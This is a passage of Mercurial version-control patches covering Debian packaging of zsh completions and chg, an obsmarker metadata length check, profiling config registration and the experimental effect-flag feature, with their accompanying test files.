+  > EOF
+
+  $ hg releasenote -r .
+  Bug Fixes
+  =========
+  
+  Title of First Fix
+  ------------------
+  
+  First paragraph of fix 1.
# HG changeset patch
# User Kyle Lippincott <spectral@google.com>
# Date 1506851590 25200
#      Sun Oct 01 02:53:10 2017 -0700
# Node ID 9ecc622ca23fe613d362b8f60363111908c944ed
# Parent  159a6f7e09a94b62f3ca018e944458e3442470a3
deb: install zsh completions to /usr/share/zsh/vendor-completions

This location is used by debian (and ubuntu) to store completions provided by
other deb packages.  The default fpath appears to have this before any of the
zsh-provided instances of the completions, so this should take precedence.

Differential Revision: https://phab.mercurial-scm.org/D882

diff --git a/contrib/debian/rules b/contrib/debian/rules
--- a/contrib/debian/rules
+++ b/contrib/debian/rules
@@ -33,4 +33,6 @@
 	cp contrib/debian/*.rc $(CURDIR)/debian/mercurial-common/etc/mercurial/hgrc.d/
 	mkdir -p $(CURDIR)/debian/mercurial-common/usr/share/bash-completion/completions
 	cp contrib/bash_completion $(CURDIR)/debian/mercurial-common/usr/share/bash-completion/completions/hg
+	mkdir -p $(CURDIR)/debian/mercurial-common/usr/share/zsh/vendor-completions
+	cp contrib/zsh_completion $(CURDIR)/debian/mercurial-common/usr/share/zsh/vendor-completions/_hg
 	rm $(CURDIR)/debian/mercurial-common/usr/bin/hg
diff --git a/tests/test-debian-packages.t b/tests/test-debian-packages.t
--- a/tests/test-debian-packages.t
+++ b/tests/test-debian-packages.t
@@ -21,3 +21,6 @@
 mercurial-common should have py but no .so or pyc
   $ dpkg --contents mercurial-common_*.deb | egrep '(localrepo|parsers.*so)'
   * ./usr/lib/python2.7/dist-packages/mercurial/localrepo.py (glob)
+zsh completions should be in the common package
+  $ dpkg --contents mercurial-common_*.deb | egrep 'zsh.*[^/]$'
+  * ./usr/share/zsh/vendor-completions/_hg (glob)
# HG changeset patch
# User Kyle Lippincott <spectral@google.com>
# Date 1506853892 25200
#      Sun Oct 01 03:31:32 2017 -0700
# Node ID 0133ca39c68875e1d50e6ed48913e33e1f8f15ac
# Parent  9ecc622ca23fe613d362b8f60363111908c944ed
deb: build and install chg

Differential Revision: https://phab.mercurial-scm.org/D883

diff --git a/contrib/debian/rules b/contrib/debian/rules
--- a/contrib/debian/rules
+++ b/contrib/debian/rules
@@ -16,6 +16,11 @@
 
 override_dh_install:
 	python$(PYVERS) setup.py install --root $(CURDIR)/debian/mercurial --install-layout=deb
+	# chg
+	make -C contrib/chg \
+		DESTDIR=$(CURDIR)/debian/mercurial \
+		PREFIX=/usr \
+		clean install
 	# remove arch-independent python stuff
 	find $(CURDIR)/debian/mercurial/usr/lib \
 		! -name '*.so' ! -type d -delete , \
@@ -31,6 +36,7 @@
 	cp contrib/hgk $(CURDIR)/debian/mercurial-common/usr/share/mercurial
 	mkdir -p $(CURDIR)/debian/mercurial-common/etc/mercurial/hgrc.d/
 	cp contrib/debian/*.rc $(CURDIR)/debian/mercurial-common/etc/mercurial/hgrc.d/
+	# completions
 	mkdir -p $(CURDIR)/debian/mercurial-common/usr/share/bash-completion/completions
 	cp contrib/bash_completion $(CURDIR)/debian/mercurial-common/usr/share/bash-completion/completions/hg
 	mkdir -p $(CURDIR)/debian/mercurial-common/usr/share/zsh/vendor-completions
diff --git a/tests/test-debian-packages.t b/tests/test-debian-packages.t
--- a/tests/test-debian-packages.t
+++ b/tests/test-debian-packages.t
@@ -24,3 +24,9 @@
 zsh completions should be in the common package
   $ dpkg --contents mercurial-common_*.deb | egrep 'zsh.*[^/]$'
   * ./usr/share/zsh/vendor-completions/_hg (glob)
+chg should be installed alongside hg, in the 'mercurial' package
+  $ dpkg --contents mercurial_*.deb | egrep 'chg$'
+  * ./usr/bin/chg (glob)
+chg should come with a man page
+  $ dpkg --contents mercurial_*.deb | egrep 'man.*chg'
+  * ./usr/share/man/man1/chg.1.gz (glob)
# HG changeset patch
# User Simon Whitaker <swhitaker@fb.com>
# Date 1506858875 -3600
#      Sun Oct 01 12:54:35 2017 +0100
# Node ID b6692ba7d5b04d841071fb35eb28faf801e5bb95
# Parent  0133ca39c68875e1d50e6ed48913e33e1f8f15ac
obsmarker: crash more helpfully when metadata fields are >255bytes (issue5681)

Various mutators fail when attempting to write obsmarkers with
metadata fields longer than 255 bytes, since the length of
mwetadata fields is stored in u8s. This change raises a more
helpful error in such circumstances.

Differential Revision: https://phab.mercurial-scm.org/D865

diff --git a/mercurial/obsolete.py b/mercurial/obsolete.py
--- a/mercurial/obsolete.py
+++ b/mercurial/obsolete.py
@@ -416,6 +416,14 @@
     for key, value in metadata:
         lk = len(key)
         lv = len(value)
+        if lk > 255:
+            msg = ('obsstore metadata key cannot be longer than 255 bytes'
+                   ' (key "%s" is %u bytes)') % (key, lk)
+            raise error.ProgrammingError(msg)
+        if lv > 255:
+            msg = ('obsstore metadata value cannot be longer than 255 bytes'
+                   ' (value "%s" for key "%s" is %u bytes)') % (value, key, lv)
+            raise error.ProgrammingError(msg)
         data.append(lk)
         data.append(lv)
         totalsize += lk + lv
diff --git a/tests/test-obsolete-bounds-checking.t b/tests/test-obsolete-bounds-checking.t
new file mode 100644
--- /dev/null
+++ b/tests/test-obsolete-bounds-checking.t
@@ -0,0 +1,23 @@
+Create a repo, set the username to something more than 255 bytes, then run hg amend on it.
+
+  $ unset HGUSER
+  $ cat >> $HGRCPATH << EOF
+  > [ui]
+  > username = aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa <very.long.name@example.com>
+  > [extensions]
+  > amend =
+  > [experimental]
+  > stabilization=createmarkers,exchange
+  > EOF
+  $ hg init tmpa
+  $ cd tmpa
+  $ echo a > a
+  $ hg add
+  adding a
+  $ hg commit -m "Initial commit"
+  $ echo a >> a
+  $ hg amend 2>&1 | egrep -v '^(\*\*|  )'
+  transaction abort!
+  rollback completed
+  Traceback (most recent call last):
+  mercurial.error.ProgrammingError: obsstore metadata value cannot be longer than 255 bytes (value "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa <very.long.name@example.com>" for key "user" is 285 bytes)
# HG changeset patch
# User Simon Whitaker <swhitaker@fb.com>
# Date 1506872762 -3600
#      Sun Oct 01 16:46:02 2017 +0100
# Node ID 7d2f71b7bc31acf1290ad3211481c5c77345a1da
# Parent  b6692ba7d5b04d841071fb35eb28faf801e5bb95
dirstate: implement __len__ on dirstatemap (issue5695)

Differential Revision: https://phab.mercurial-scm.org/D884

diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -1300,6 +1300,9 @@
     def iteritems(self):
         return self._map.iteritems()
 
+    def __len__(self):
+        return len(self._map)
+
     def __iter__(self):
         return iter(self._map)
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787035 -7200
#      Fri Jun 30 03:43:55 2017 +0200
# Node ID 7de145167ae730548495ae0270dcab723e93ebc9
# Parent  7d2f71b7bc31acf1290ad3211481c5c77345a1da
configitems: register the 'profiling.output' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -335,6 +335,9 @@
 coreconfigitem('profiling', 'nested',
     default=0,
 )
+coreconfigitem('profiling', 'output',
+    default=None,
+)
 coreconfigitem('profiling', 'sort',
     default='inlinetime',
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787036 -7200
#      Fri Jun 30 03:43:56 2017 +0200
# Node ID fecea78ff2af7ae7657740aef5fc1d1d53ad5c2d
# Parent  7de145167ae730548495ae0270dcab723e93ebc9
configitems: register the 'profiling.showmax' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -338,6 +338,9 @@
 coreconfigitem('profiling', 'output',
     default=None,
 )
+coreconfigitem('profiling', 'showmax',
+    default=0.999,
+)
 coreconfigitem('profiling', 'sort',
     default='inlinetime',
 )
diff --git a/mercurial/profiling.py b/mercurial/profiling.py
--- a/mercurial/profiling.py
+++ b/mercurial/profiling.py
@@ -138,7 +138,7 @@
 
         if profformat == 'chrome':
             showmin = ui.configwith(fraction, 'profiling', 'showmin', 0.005)
-            showmax = ui.configwith(fraction, 'profiling', 'showmax', 0.999)
+            showmax = ui.configwith(fraction, 'profiling', 'showmax')
             kwargs.update(minthreshold=showmin, maxthreshold=showmax)
         elif profformat == 'hotpath':
             # inconsistent config: profiling.showmin
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787037 -7200
#      Fri Jun 30 03:43:57 2017 +0200
# Node ID f5c16e6507e877a4ae1e5a19ca386a313d1dd0be
# Parent  fecea78ff2af7ae7657740aef5fc1d1d53ad5c2d
configitems: register the 'profiling.showmin' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -341,6 +341,9 @@
 coreconfigitem('profiling', 'showmax',
     default=0.999,
 )
+coreconfigitem('profiling', 'showmin',
+    default=dynamicdefault,
+)
 coreconfigitem('profiling', 'sort',
     default='inlinetime',
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787040 -7200
#      Fri Jun 30 03:44:00 2017 +0200
# Node ID 83dfbda40e670f2fb2a5d339f876e67be8160e70
# Parent  f5c16e6507e877a4ae1e5a19ca386a313d1dd0be
configitems: register the 'profiling.type' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -350,6 +350,9 @@
 coreconfigitem('profiling', 'statformat',
     default='hotpath',
 )
+coreconfigitem('profiling', 'type',
+    default='stat',
+)
 coreconfigitem('progress', 'assume-tty',
     default=False,
 )
diff --git a/mercurial/profiling.py b/mercurial/profiling.py
--- a/mercurial/profiling.py
+++ b/mercurial/profiling.py
@@ -183,7 +183,7 @@
         profiler = encoding.environ.get('HGPROF')
         proffn = None
         if profiler is None:
-            profiler = self._ui.config('profiling', 'type', default='stat')
+            profiler = self._ui.config('profiling', 'type')
         if profiler not in ('ls', 'stat', 'flame'):
             # try load profiler from extension with the same name
             proffn = _loadprofiler(self._ui, profiler)
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1499345417 -7200
#      Thu Jul 06 14:50:17 2017 +0200
# Node ID 014d467f9d0874ecb65d678a45b7c06e4bed1036
# Parent  83dfbda40e670f2fb2a5d339f876e67be8160e70
effectflag: store an empty effect flag for the moment

The idea behind effect flag is to store additional information in obs-markers
about what changed between a changeset and its successor(s). It's a low-level
information that comes without guarantees.

This information can be computed a posteriori, but only if we have all
changesets locally. This is not the case with distributed workflows where you
work with several people or on several computers (eg: laptop + build server).

Storing the effect-flag as a bitfield has several advantages:

- It's compact, we are using one byte per obs-marker at most for the effect-
  flag.
- It's compoundable, the obsfate log approach needs to display evolve history
  that could spans several obs-markers. Computing the effect-flag between a
  changeset and its grand-grand-grand-successor is simple thanks to the
  bitfield.

The effect-flag design has also some limitations:

- Evolving a changeset and reverting these changes just after would lead to
  two obs-markers with the same effect-flag without information that the first
  and third changesets are the same.

The effect-flag current design is a trade-off between compactness and
usefulness.

Storing this information helps commands to display a more complete and
understandable evolve history. For example, obslog (an Evolve command) use it
to improve its output:

x  62206adfd571 (34302) obscache: skip updating outdated obscache...
|    rewritten(parent) by Matthieu Laneuville <matthieu.laneuville@octobus...
|    rewritten(content) by Boris Feld <boris.feld@octobus.net>

The effect flag is stored in obs-markers metadata while we iterate on the
information we want to store. We plan to extend the existing obsmarkers
bit-field when the effect flag design will be stabilized.

It's different from the CommitCustody concept, effect-flag are not signed and
can be forged. It's also different from the operation metadata as the command
name (for example: amend) could alter a changeset in different ways (changing
the content with hg amend, changing the description with hg amend -e, changing
the user with hg amend -U). Also it's compatible with every custom command
that writes obs-markers without needing to be updated.

The effect-flag is placed behind an experimental flag set to off by default.

Hook the saving of effect flag in create markers, but store only an empty one
for the moment, I will refine the values in effect flag in following patches.

For more information, see:

  https://www.mercurial-scm.org/wiki/ChangesetEvolutionDevel#Record_types_of_operation

Differential Revision: https://phab.mercurial-scm.org/D533

diff --git a/mercurial/obsolete.py b/mercurial/obsolete.py
--- a/mercurial/obsolete.py
+++ b/mercurial/obsolete.py
@@ -1043,6 +1043,11 @@
     if useoperation and operation:
         metadata['operation'] = operation
 
+    # Effect flag metadata handling
+    saveeffectflag = repo.ui.configbool('experimental',
+                                        'effect-flags',
+                                        False)
+
     tr = repo.transaction('add-obsolescence-marker')
     try:
         markerargs = []
@@ -1066,6 +1071,13 @@
                 raise error.Abort(_("changeset %s cannot obsolete itself")
                                   % prec)
 
+            # Effect flag can be different by relation
+            if saveeffectflag:
+                # The effect flag is saved in a versioned field name for future
+                # evolution
+                effectflag = obsutil.geteffectflag(rel)
+                localmetadata[obsutil.EFFECTFLAGFIELD] = "%d" % effectflag
+
             # Creating the marker causes the hidden cache to become invalid,
             # which causes recomputation when we ask for prec.parents() above.
             # Resulting in n^2 behavior.  So let's prepare all of the args
diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -305,6 +305,19 @@
             foreground = set(repo.set('%ln::', known))
     return set(c.node() for c in foreground)
 
+# logic around storing and using effect flags
+EFFECTFLAGFIELD = "ef1"
+
+def geteffectflag(relation):
+    """ From an obs-marker relation, compute what changed between the
+    predecessor and the successor.
+    """
+    effects = 0
+
+    source = relation[0]
+
+    return effects
+
 def getobsoleted(repo, tr):
     """return the set of pre-existing revisions obsoleted by a transaction"""
     torev = repo.unfiltered().changelog.nodemap.get
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1499345468 -7200
#      Thu Jul 06 14:51:08 2017 +0200
# Node ID 468646386e95b794e07b1c2e45fccd2b6642c031
# Parent  014d467f9d0874ecb65d678a45b7c06e4bed1036
tests: add tests for effect flags

Add all the tests in this patch, it makes the patch quite big but will clarify
the following patches impact on tests.

Differential Revision: https://phab.mercurial-scm.org/D534

diff --git a/tests/test-obsmarkers-effectflag.t b/tests/test-obsmarkers-effectflag.t
new file mode 100644
--- /dev/null
+++ b/tests/test-obsmarkers-effectflag.t
@@ -0,0 +1,167 @@
+Test the 'effect-flags' feature
+
+Global setup
+============
+
+  $ . $TESTDIR/testlib/obsmarker-common.sh
+  $ cat >> $HGRCPATH <<EOF
+  > [ui]
+  > interactive = true
+  > [phases]
+  > publish=False
+  > [extensions]
+  > rebase =
+  > [experimental]
+  > evolution = all
+  > effect-flags = 1
+  > EOF
+
+  $ hg init $TESTTMP/effect-flags
+  $ cd $TESTTMP/effect-flags
+  $ mkcommit ROOT
+
+amend touching the description only
+-----------------------------------
+
+  $ mkcommit A0
+  $ hg commit --amend -m "A1"
+
+check result
+
+  $ hg debugobsolete --rev .
+  471f378eab4c5e25f6c77f785b27c936efb22874 fdf9bde5129a28d4548fadd3f62b265cdd3b7a2e 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '0', 'operation': 'amend', 'user': 'test'}
+
+amend touching the user only
+----------------------------
+
+  $ mkcommit B0
+  $ hg commit --amend -u "bob <bob@bob.com>"
+
+check result
+
+  $ hg debugobsolete --rev .
+  ef4a313b1e0ade55718395d80e6b88c5ccd875eb 5485c92d34330dac9d7a63dc07e1e3373835b964 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '0', 'operation': 'amend', 'user': 'test'}
+
+amend touching the date only
+----------------------------
+
+  $ mkcommit B1
+  $ hg commit --amend -d "42 0"
+
+check result
+
+  $ hg debugobsolete --rev .
+  2ef0680ff45038ac28c9f1ff3644341f54487280 4dd84345082e9e5291c2e6b3f335bbf8bf389378 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '0', 'operation': 'amend', 'user': 'test'}
+
+amend touching the branch only
+----------------------------
+
+  $ mkcommit B2
+  $ hg branch my-branch
+  marked working directory as branch my-branch
+  (branches are permanent and global, did you want a bookmark?)
+  $ hg commit --amend
+
+check result
+
+  $ hg debugobsolete --rev .
+  bd3db8264ceebf1966319f5df3be7aac6acd1a8e 14a01456e0574f0e0a0b15b2345486a6364a8d79 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '0', 'operation': 'amend', 'user': 'test'}
+
+  $ hg up default
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+
+rebase (parents change)
+-----------------------
+
+  $ mkcommit C0
+  $ mkcommit D0
+  $ hg rebase -r . -d 'desc(B0)'
+  rebasing 10:c85eff83a034 "D0" (tip)
+
+check result
+
+  $ hg debugobsolete --rev .
+  c85eff83a0340efd9da52b806a94c350222f3371 da86aa2f19a30d6686b15cae15c7b6c908ec9699 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '0', 'operation': 'rebase', 'user': 'test'}
+
+amend touching the diff
+-----------------------
+
+  $ mkcommit E0
+  $ echo 42 >> E0
+  $ hg commit --amend
+
+check result
+
+  $ hg debugobsolete --rev .
+  ebfe0333e0d96f68a917afd97c0a0af87f1c3b5f 75781fdbdbf58a987516b00c980bccda1e9ae588 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '0', 'operation': 'amend', 'user': 'test'}
+
+amend with multiple effect (desc and meta)
+-------------------------------------------
+
+  $ mkcommit F0
+  $ hg branch my-other-branch
+  marked working directory as branch my-other-branch
+  $ hg commit --amend -m F1 -u "bob <bob@bob.com>" -d "42 0"
+
+check result
+
+  $ hg debugobsolete --rev .
+  fad47e5bd78e6aa4db1b5a0a1751bc12563655ff a94e0fd5f1c81d969381a76eb0d37ce499a44fae 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '0', 'operation': 'amend', 'user': 'test'}
+
+rebase not touching the diff
+----------------------------
+
+  $ cat << EOF > H0
+  > 0
+  > 1
+  > 2
+  > 3
+  > 4
+  > 5
+  > 6
+  > 7
+  > 8
+  > 9
+  > 10
+  > EOF
+  $ hg add H0
+  $ hg commit -m 'H0'
+  $ echo "H1" >> H0
+  $ hg commit -m "H1"
+  $ hg up -r "desc(H0)"
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ cat << EOF > H0
+  > H2
+  > 0
+  > 1
+  > 2
+  > 3
+  > 4
+  > 5
+  > 6
+  > 7
+  > 8
+  > 9
+  > 10
+  > EOF
+  $ hg commit -m "H2"
+  created new head
+  $ hg rebase -s "desc(H1)" -d "desc(H2)" -t :merge3
+  rebasing 17:b57fed8d8322 "H1"
+  merging H0
+  $ hg debugobsolete -r tip
+  b57fed8d83228a8ae3748d8c3760a77638dd4f8c e509e2eb3df5d131ff7c02350bf2a9edd0c09478 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '0', 'operation': 'rebase', 'user': 'test'}
+
+amend closing the branch should be detected as meta change
+----------------------------------------------------------
+
+  $ hg branch closedbranch
+  marked working directory as branch closedbranch
+  $ mkcommit G0
+  $ mkcommit I0
+  $ hg commit --amend --close-branch
+
+check result
+
+  $ hg debugobsolete -r .
+  2f599e54c1c6974299065cdf54e1ad640bfb7b5d 12c6238b5e371eea00fd2013b12edce3f070928b 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '0', 'operation': 'amend', 'user': 'test'}
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1499345554 -7200
#      Thu Jul 06 14:52:34 2017 +0200
# Node ID 51aadc0d0da2d08330e579b9d23a49fd2eadbac7
# Parent  468646386e95b794e07b1c2e45fccd2b6642c031
effectflag: detect when description changed

Store in effect flag when the description changed between the predecessor and
its successors.

It can happens with "hg commit --amend -e", "hg amend -e" or "histedit".

Differential Revision: https://phab.mercurial-scm.org/D535

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -308,6 +308,8 @@
 # logic around storing and using effect flags
 EFFECTFLAGFIELD = "ef1"
 
+DESCCHANGED = 1 << 0 # action changed the description
+
 def geteffectflag(relation):
     """ From an obs-marker relation, compute what changed between the
     predecessor and the successor.
@@ -316,6 +318,11 @@
 
     source = relation[0]
 
+    for changectx in relation[1]:
+        # Check if description has changed
+        if changectx.description() != source.description():
+            effects |= DESCCHANGED
+
     return effects
 
 def getobsoleted(repo, tr):
diff --git a/tests/test-obsmarkers-effectflag.t b/tests/test-obsmarkers-effectflag.t
--- a/tests/test-obsmarkers-effectflag.t
+++ b/tests/test-obsmarkers-effectflag.t
@@ -29,7 +29,7 @@
 check result
 
   $ hg debugobsolete --rev .
-  471f378eab4c5e25f6c77f785b27c936efb22874 fdf9bde5129a28d4548fadd3f62b265cdd3b7a2e 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '0', 'operation': 'amend', 'user': 'test'}
+  471f378eab4c5e25f6c77f785b27c936efb22874 fdf9bde5129a28d4548fadd3f62b265cdd3b7a2e 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '1', 'operation': 'amend', 'user': 'test'}
 
 amend touching the user only
 ----------------------------
@@ -106,7 +106,7 @@
 check result
 
   $ hg debugobsolete --rev .
-  fad47e5bd78e6aa4db1b5a0a1751bc12563655ff a94e0fd5f1c81d969381a76eb0d37ce499a44fae 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '0', 'operation': 'amend', 'user': 'test'}
+  fad47e5bd78e6aa4db1b5a0a1751bc12563655ff a94e0fd5f1c81d969381a76eb0d37ce499a44fae 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '1', 'operation': 'amend', 'user': 'test'}
 
 rebase not touching the diff
 ----------------------------
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1499345628 -7200
#      Thu Jul 06 14:53:48 2017 +0200
# Node ID 55ef17ec8e593c80a3cc403e43e019c3f0bdcc78
# Parent  51aadc0d0da2d08330e579b9d23a49fd2eadbac7
effectflag: detect when user changed

Store in effect flag when the user changed between the predecessor and its
successors.

It can happens with "hg commit --amend -u" or "histedit".

Differential Revision: https://phab.mercurial-scm.org/D536

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -309,6 +309,7 @@
 EFFECTFLAGFIELD = "ef1"
 
 DESCCHANGED = 1 << 0 # action changed the description
+USERCHANGED = 1 << 4 # the user changed
 
 def geteffectflag(relation):
     """ From an obs-marker relation, compute what changed between the
@@ -323,6 +324,10 @@
         if changectx.description() != source.description():
             effects |= DESCCHANGED
 
+        # Check if user has changed
+        if changectx.user() != source.user():
+            effects |= USERCHANGED
+
     return effects
 
 def getobsoleted(repo, tr):
diff --git a/tests/test-obsmarkers-effectflag.t b/tests/test-obsmarkers-effectflag.t
--- a/tests/test-obsmarkers-effectflag.t
+++ b/tests/test-obsmarkers-effectflag.t
@@ -40,7 +40,7 @@
 check result
 
   $ hg debugobsolete --rev .
-  ef4a313b1e0ade55718395d80e6b88c5ccd875eb 5485c92d34330dac9d7a63dc07e1e3373835b964 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '0', 'operation': 'amend', 'user': 'test'}
+  ef4a313b1e0ade55718395d80e6b88c5ccd875eb 5485c92d34330dac9d7a63dc07e1e3373835b964 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '16', 'operation': 'amend', 'user': 'test'}
 
 amend touching the date only
 ----------------------------
@@ -106,7 +106,7 @@
 check result
 
   $ hg debugobsolete --rev .
-  fad47e5bd78e6aa4db1b5a0a1751bc12563655ff a94e0fd5f1c81d969381a76eb0d37ce499a44fae 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '1', 'operation': 'amend', 'user': 'test'}
+  fad47e5bd78e6aa4db1b5a0a1751bc12563655ff a94e0fd5f1c81d969381a76eb0d37ce499a44fae 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '17', 'operation': 'amend', 'user': 'test'}
 
 rebase not touching the diff
 ----------------------------
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1499345662 -7200
#      Thu Jul 06 14:54:22 2017 +0200
# Node ID 54af8de9bd096840a9a7d8f22fdabb69703925a7
# Parent  55ef17ec8e593c80a3cc403e43e019c3f0bdcc78
effectflag: detect when date changed

Store in effect flag when the date changed between the predecessor and
its successors.

It can happens with "hg commit --amend -d", "hg amend -d" or "histedit".

Differential Revision: https://phab.mercurial-scm.org/D537

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -310,6 +310,7 @@
 
 DESCCHANGED = 1 << 0 # action changed the description
 USERCHANGED = 1 << 4 # the user changed
+DATECHANGED = 1 << 5 # the date changed
 
 def geteffectflag(relation):
     """ From an obs-marker relation, compute what changed between the
@@ -328,6 +329,10 @@
         if changectx.user() != source.user():
             effects |= USERCHANGED
 
+        # Check if date has changed
+        if changectx.date() != source.date():
+            effects |= DATECHANGED
+
     return effects
 
 def getobsoleted(repo, tr):
diff --git a/tests/test-obsmarkers-effectflag.t b/tests/test-obsmarkers-effectflag.t
--- a/tests/test-obsmarkers-effectflag.t
+++ b/tests/test-obsmarkers-effectflag.t
@@ -51,7 +51,7 @@
 check result
 
   $ hg debugobsolete --rev .
-  2ef0680ff45038ac28c9f1ff3644341f54487280 4dd84345082e9e5291c2e6b3f335bbf8bf389378 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '0', 'operation': 'amend', 'user': 'test'}
+  2ef0680ff45038ac28c9f1ff3644341f54487280 4dd84345082e9e5291c2e6b3f335bbf8bf389378 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '32', 'operation': 'amend', 'user': 'test'}
 
 amend touching the branch only
 ----------------------------
@@ -106,7 +106,7 @@
 check result
 
   $ hg debugobsolete --rev .
-  fad47e5bd78e6aa4db1b5a0a1751bc12563655ff a94e0fd5f1c81d969381a76eb0d37ce499a44fae 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '17', 'operation': 'amend', 'user': 'test'}
+  fad47e5bd78e6aa4db1b5a0a1751bc12563655ff a94e0fd5f1c81d969381a76eb0d37ce499a44fae 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '49', 'operation': 'amend', 'user': 'test'}
 
 rebase not touching the diff
 ----------------------------
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1499345712 -7200
#      Thu Jul 06 14:55:12 2017 +0200
# Node ID 57980af73cfa3ac1e3f178f51c288229ccc7699f
# Parent  54af8de9bd096840a9a7d8f22fdabb69703925a7
effectflag: detect when branch changed

Store in effect flag when the branch changed between the predecessor and
its successors.

It can happens with "hg branch" + "hg commit --amend", "hg branch" + "hg
amend" or "histedit".

Differential Revision: https://phab.mercurial-scm.org/D538

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -311,6 +311,7 @@
 DESCCHANGED = 1 << 0 # action changed the description
 USERCHANGED = 1 << 4 # the user changed
 DATECHANGED = 1 << 5 # the date changed
+BRANCHCHANGED = 1 << 6 # the branch changed
 
 def geteffectflag(relation):
     """ From an obs-marker relation, compute what changed between the
@@ -333,6 +334,10 @@
         if changectx.date() != source.date():
             effects |= DATECHANGED
 
+        # Check if branch has changed
+        if changectx.branch() != source.branch():
+            effects |= BRANCHCHANGED
+
     return effects
 
 def getobsoleted(repo, tr):
diff --git a/tests/test-obsmarkers-effectflag.t b/tests/test-obsmarkers-effectflag.t
--- a/tests/test-obsmarkers-effectflag.t
+++ b/tests/test-obsmarkers-effectflag.t
@@ -65,7 +65,7 @@
 check result
 
   $ hg debugobsolete --rev .
-  bd3db8264ceebf1966319f5df3be7aac6acd1a8e 14a01456e0574f0e0a0b15b2345486a6364a8d79 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '0', 'operation': 'amend', 'user': 'test'}
+  bd3db8264ceebf1966319f5df3be7aac6acd1a8e 14a01456e0574f0e0a0b15b2345486a6364a8d79 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '64', 'operation': 'amend', 'user': 'test'}
 
   $ hg up default
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
@@ -106,7 +106,7 @@
 check result
 
   $ hg debugobsolete --rev .
-  fad47e5bd78e6aa4db1b5a0a1751bc12563655ff a94e0fd5f1c81d969381a76eb0d37ce499a44fae 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '49', 'operation': 'amend', 'user': 'test'}
+  fad47e5bd78e6aa4db1b5a0a1751bc12563655ff a94e0fd5f1c81d969381a76eb0d37ce499a44fae 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '113', 'operation': 'amend', 'user': 'test'}
 
 rebase not touching the diff
 ----------------------------
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1499345776 -7200
#      Thu Jul 06 14:56:16 2017 +0200
